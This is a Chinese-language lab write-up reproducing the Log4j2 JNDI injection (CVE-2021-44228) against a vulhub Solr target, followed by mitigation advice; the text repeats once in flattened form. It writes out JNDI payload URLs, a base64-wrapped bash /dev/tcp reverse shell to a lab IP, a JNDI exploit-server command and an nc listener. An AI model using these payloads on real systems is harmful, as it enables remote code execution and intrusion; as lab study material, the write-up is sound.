Log4j2 漏洞复现
字数 1107 2025-08-10 13:48:22

Log4j2 漏洞(CVE-2021-44228)复现与分析

1. Log4j2 简介

Log4j2 是Apache Log4j项目的下一代日志记录库,为Java应用程序提供高性能、灵活性和可配置性的日志记录功能。主要用途包括:

  • 记录应用程序运行日志
  • 监控应用程序运行状态
  • 故障诊断与分析
  • 性能分析与优化
  • 满足合规性和安全性要求

2. 漏洞原理

2.1 漏洞核心机制

Log4j2 允许通过${}语法调用系统变量,例如:

<PatternLayout pattern="%d{HH:mm:ss.SSS} ${sys:a} [%t] %-5level %logger{36} - %msg%n"/>

其中${sys:a}会被替换为系统变量a的值。

2.2 漏洞利用点

攻击者可以利用更复杂的语法:

${jndi:ldap://attacker.com/exploit}

这种语法允许Log4j2通过JNDI(Java Naming and Directory Interface)加载远程类并执行反序列化操作。

2.3 漏洞触发路径

在Apache Solr中的具体触发路径为:

/solr/admin/cores?action=${jndi:ldap://attacker.com/exploit}

action参数值会被Log4j2解析执行。

3. 漏洞复现步骤

3.1 环境准备

  1. 靶场环境:vulhub log4j2 CVE-2021-44228
  2. 攻击工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

3.2 攻击流程

步骤1:准备反弹Shell命令

原始反弹Shell命令:

bash -i >& /dev/tcp/192.168.57.129/8899 0>&1

Base64编码后:

YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx

完整执行命令:

bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

步骤2:启动JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" \
-A 192.168.57.129

步骤3:启动NC监听

nc -lvnp 8899

步骤4:构造并发送攻击Payload

访问目标URL并附加Payload:

http://target/solr/admin/cores?action=${jndi:ldap://192.168.57.129:1389/w1t1db}

步骤5:接收反弹Shell

成功执行后,攻击者的NC监听端口将收到目标系统的Shell连接。

4. 漏洞防御建议

  1. 立即升级到Log4j2 2.15.0或更高版本
  2. 对于无法立即升级的系统:
    • 设置系统属性log4j2.formatMsgNoLookups=true
    • 移除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. 限制出站网络连接,特别是LDAP和RMI协议
  4. 启用WAF规则拦截包含${jndi:等特征的请求

5. 技术要点总结

  1. 漏洞核心是利用Log4j2的${}语法和JNDI功能
  2. 攻击需要控制一个JNDI服务来提供恶意类
  3. 反弹Shell需要编码处理以避免特殊字符问题
  4. 漏洞利用不限于Solr,任何使用受影响版本Log4j2的应用都可能被攻击

6. 参考工具

  1. JNDI-Injection-Exploit:用于搭建恶意的JNDI服务
  2. Vulhub:提供漏洞复现的Docker环境
  3. NC(netcat):用于监听反弹Shell连接
Log4j2 漏洞(CVE-2021-44228)复现与分析 1. Log4j2 简介 Log4j2 是Apache Log4j项目的下一代日志记录库,为Java应用程序提供高性能、灵活性和可配置性的日志记录功能。主要用途包括: 记录应用程序运行日志 监控应用程序运行状态 故障诊断与分析 性能分析与优化 满足合规性和安全性要求 2. 漏洞原理 2.1 漏洞核心机制 Log4j2 允许通过 ${} 语法调用系统变量,例如: 其中 ${sys:a} 会被替换为系统变量 a 的值。 2.2 漏洞利用点 攻击者可以利用更复杂的语法: 这种语法允许Log4j2通过JNDI(Java Naming and Directory Interface)加载远程类并执行反序列化操作。 2.3 漏洞触发路径 在Apache Solr中的具体触发路径为: action 参数值会被Log4j2解析执行。 3. 漏洞复现步骤 3.1 环境准备 靶场环境:vulhub log4j2 CVE-2021-44228 攻击工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 3.2 攻击流程 步骤1:准备反弹Shell命令 原始反弹Shell命令: Base64编码后: 完整执行命令: 步骤2:启动JNDI服务 步骤3:启动NC监听 步骤4:构造并发送攻击Payload 访问目标URL并附加Payload: 步骤5:接收反弹Shell 成功执行后,攻击者的NC监听端口将收到目标系统的Shell连接。 4. 漏洞防御建议 立即升级到Log4j2 2.15.0或更高版本 对于无法立即升级的系统: 设置系统属性 log4j2.formatMsgNoLookups=true 移除JndiLookup类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 限制出站网络连接,特别是LDAP和RMI协议 启用WAF规则拦截包含 ${jndi: 等特征的请求 5. 技术要点总结 漏洞核心是利用Log4j2的 ${} 语法和JNDI功能 攻击需要控制一个JNDI服务来提供恶意类 反弹Shell需要编码处理以避免特殊字符问题 漏洞利用不限于Solr,任何使用受影响版本Log4j2的应用都可能被攻击 6. 参考工具 JNDI-Injection-Exploit:用于搭建恶意的JNDI服务 Vulhub:提供漏洞复现的Docker环境 NC(netcat):用于监听反弹Shell连接